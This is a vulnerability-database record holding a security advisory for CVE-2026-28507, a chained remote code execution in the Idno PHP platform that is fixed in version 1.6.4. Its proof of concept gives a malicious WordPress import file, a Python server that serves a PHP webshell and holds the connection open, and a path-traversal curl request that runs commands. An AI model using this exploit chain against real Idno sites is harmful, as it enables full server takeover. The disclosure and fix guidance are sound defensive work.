{"id":"CVE-2026-28507","aliases":["GHSA-37j7-56xc-c468"],"url":"https://o3.security/vulnerability/CVE-2026-28507","summary":"Idno: Remote Code Execution via Chained Import File Write and Template Path Traversal","details":"**Affected Versions:** Tested on current `dev` branch (build fingerprint `505[...]7bd86`)  \n**CVSS v4 Score:** 8.6 ([CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N))\n**Privileges Required:** Web application admin account (for file write), any authenticated user (for RCE trigger)\n\n---\n\n## Summary\n\nTwo separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.\n\n---\n\n## Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)\n\n### Location\n\n`Idno/Core/Migration.php` — `importImagesFromBodyHTML()`\n\n### Required Privilege\n\nWeb application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).\n\n### Description\n\nWhen a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST /admin/import/`, the application processes `<img>` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.\n\nThe filename is constructed as:\n\n```php\n$name = md5($src);\n$newname = $dir . $name . basename($src);\n```\n\nWhere `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename — including one ending in `.tpl.php`.\n\nThe URL filter is:\n\n```php\nif (substr_count($src, $src_url)) {\n```\n\nWhere `$src_url` is the hardcoded string `'wordpress.com'`. This check uses `substr_count` rather than comparing the URL's hostname, so it passes for any URL that contains the string `wordpress.com` anywhere — including in a path component such as `http://attacker.com/wordpress.com/shell.tpl.php`.\n\nThe file write itself is:\n\n```php\nif (@file_put_contents($newname, fopen($src, 'r'))) {\n```\n\n`fopen($src, 'r')` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:\n\n```php\nif ($file = File::createFromFile($newname, basename($src), $mime, true)) {\n    $newsrc = ...;\n    @unlink($newname);  // only runs after file_put_contents returns\n}\n```\n\nBy holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.\n\nThe import endpoint itself adds an additional timing buffer:\n\n```php\n// Idno/Pages/Admin/Import.php\nsession_write_close();\n$this->forward(...);      // HTTP response sent to browser here\nignore_user_abort(true);\nsleep(10);                // 10 second delay before import runs\nset_time_limit(0);\nMigration::importWordPressXML($xml);\n```\n\nThe browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.\n\nThe resulting file is written to PHP's temp directory (typically `/tmp` from the PHP process's perspective, which on systemd-managed Apache is a private mount at `/tmp/systemd-private-{id}-apache2.service-{id}/tmp/`). The filename is predictable: `md5($full_url) . basename($url)`.\n\n### Prerequisites\n\n- Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)\n- `allow_url_fopen` must be enabled in PHP (required for `fopen($url, 'r')` on remote URLs — this is the PHP default)\n\n---\n\n## Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)\n\n### Location\n\n`Idno/Pages/Search/User.php` — `getContent()`\n`Idno/Core/Bonita/Templates.php` — `draw()`\n\n### Required Privilege\n\nAny authenticated user (`gatekeeper()` only checks `isLoggedIn()`).\n\n### Description\n\nThe user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:\n\n```php\n// Idno/Pages/Search/User.php\n$template = $this->getInput('template', 'forms/components/usersearch/user');\n// ...\n$t = new \\Idno\\Core\\DefaultTemplate();\n$results['rendered'] .= $t->__(['user' => $user])->draw($template);\n```\n\nThe `draw()` method in `Idno/Core/Bonita/Templates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:\n\n```php\nfunction draw($templateName, $returnBlank = true)\n{\n    $templateName = preg_replace('/^_[A-Z0-9\\/]+/i', '', $templateName);\n```\n\nThis regex does not strip `../` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:\n\n```php\n$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';\nif (file_exists($path)) {\n    $fn = (function ($path, $vars, $t) {\n        foreach ($vars as $k => $v) { ${$k} = $v; }\n        ob_start();\n        include $path;\n        return ob_get_clean();\n    });\n    return $fn($path, $this->vars, $this);\n}\n```\n\nBecause `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `../../../../../../tmp/{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.\n\n### Template Type Behaviour\n\nThe `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `'default'`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed `$t` instance — and therefore has no effect on the include path used here. The template type component of the path is always `'default'` for this endpoint under normal conditions.\n\nThe full resolved include path for a desktop browser with `basepath = /var/www/html/idno` is therefore:\n\n```\n/var/www/html/idno/templates/default/{template}.tpl.php\n```\n\nSupplying `template=../../../../../../tmp/{filename}` resolves to:\n\n```\n/tmp/{filename}.tpl.php\n```\n\nBecause PHP's `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.\n\n---\n\n## Chained Attack Flow\n\n1. **Attacker controls a web server** serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.\n\n2. **Attacker constructs a WordPress WXR XML** with an `<img>` tag whose `src` points to this URL.\n\n3. **Admin submits the XML** to `POST /admin/import/` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.\n\n4. **`importImagesFromBodyHTML` is called.** The URL passes the `substr_count($src, 'wordpress.com')` check. `fopen($src, 'r')` connects to the attacker's server, which sends the PHP payload and holds the connection open.\n\n5. **`file_put_contents` writes the PHP payload to disk** at `/tmp/{md5(url)}{basename(url)}` (e.g. `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.\n\n6. **While the connection is held open**, any authenticated user sends:\n\n   ```\n   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id\n   ```\n\n7. **`draw()` resolves the path** to `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`, finds the file exists, and `include`s it.\n\n8. **The included PHP file executes**, reads `$_GET['cmd']` from the superglobal, and passes it to `system()`. Output is captured by `ob_get_clean()` and returned in the `rendered` field of the JSON response.\n\n9. **Attacker closes the connection.** `file_put_contents` returns, `createFromFile` runs, `@unlink` removes the temp file. No persistent artifact remains.\n\n---\n\n## Proof of Concept\n\n1. Create a WXR file with the following content\n```xml\n<rss version=\"2.0\"\n    xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n    xmlns:wp=\"http://wordpress.org/export/1.2/\">\n    <channel>\n      <item>\n        <title>Test Post</title>\n        <wp:post_type>post</wp:post_type>\n        <wp:status>publish</wp:status>\n        <content:encoded><![CDATA[<img\n  src=\"http://attacker-server-address/wordpress.com/shell.tpl.php\">]]></content:encoded>\n      </item>\n    </channel>\n</rss>\n```\n2. Run a server at `attacker-server-address` and host the file in path `wordpress.com/shell.tpl.php` such that fetching `http://attacker-server-address/wordpress.com/shell.tpl.php` sends the command execution payload. \n\n```python\nimport http.server\nimport time\n\nPAYLOAD = b'<?php system($_GET[\"cmd\"]); ?>'\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n        self.wfile.flush()\n        print(f\"[*] Payload sent. Holding connection open...\")\n        time.sleep(45)  # hold connection open for 45s\n        print(f\"[*] Connection released\")\n\n    def log_message(self, fmt, *args):\n        print(fmt % args)\n\n\nhttp.server.HTTPServer((\"0.0.0.0\", 9876), Handler).serve_forever()\n```\n\n5. Import WXR from `http://idno-address/admin/import/` using the wordpress option.\n\n6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.\n\n7. Compute the md5 hash of payload URL `http://attacker-server-address/wordpress.com/shell.tpl.php`. In my example this is `594ac6416712b71b978fa4659c4298c3`. This means the webshell file is `594ac6416712b71b978fa4659c4298c3shell.tpl.php` with content \n```php\n<?php system($_GET[0]); ?>\n```\n\n8. Make this request as any authenticated user\n```\ncurl -k \\\n  -b \"idno=<cookie>\" \\\n  \"http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id\"\n\n```\n\n9. Observe that the respone will have the command executed in the `rendered` field\n```\n{\"count\":1,\"rendered\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\\n\"}\n```\n\n\nhttps://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4\n\n\n\n---\n\n## Impact\n\n- **Confidentiality:** Full read access to files accessible by the web server user\n- **Integrity:** Arbitrary command execution as the web server user\n- **Availability:** Complete compromise of the host running Idno\n\nAn attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.\n\n---\n\n## Root Causes\n\n| Location | Issue |\n|---|---|\n| `Migration.php:importImagesFromBodyHTML` | `basename($url)` used as filename with no extension restriction |\n| `Migration.php:importImagesFromBodyHTML` | `substr_count` hostname check trivially bypassed by embedding `wordpress.com` in URL path |\n| `Migration.php:importImagesFromBodyHTML` | Outbound `fopen()` to attacker-controlled URL with no SSRF mitigation |\n| `Pages/Search/User.php` | `template` parameter passed to `draw()` without sanitization |\n| `Core/Bonita/Templates.php:draw()` | Regex strips only `^_[A-Z0-9/]+` prefix — does not restrict `../` or path separators |\n\n---\n\n## Recommended Fixes\n\n1. **Restrict allowed template name characters** in `draw()` to an allowlist such as `^[a-z0-9/_-]+$`, rejecting any name containing `..` or beginning with `/`.\n\n2. **Validate the extension of files written by `importImagesFromBodyHTML`** against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.\n\n3. **Validate the hostname of image URLs** in `importImagesFromBodyHTML` against the source domain rather than using `substr_count`, which does not distinguish hostname from path.\n\n4. **Use `tempnam()`** for temp files in the import flow rather than constructing filenames from user-controlled URL components.","published":"2026-03-06T04:12:43.557Z","modified":"2026-08-27T03:57:07.951602719Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"idno/known","fixedVersion":"1.6.4"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/idno/idno/releases/tag/1.6.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28507.json"},{"type":"ADVISORY","url":"https://github.com/idno/idno/security/advisories/GHSA-37j7-56xc-c468"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28507"},{"type":"PACKAGE","url":"https://github.com/idno/idno"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T03:57:07.951602719Z"}}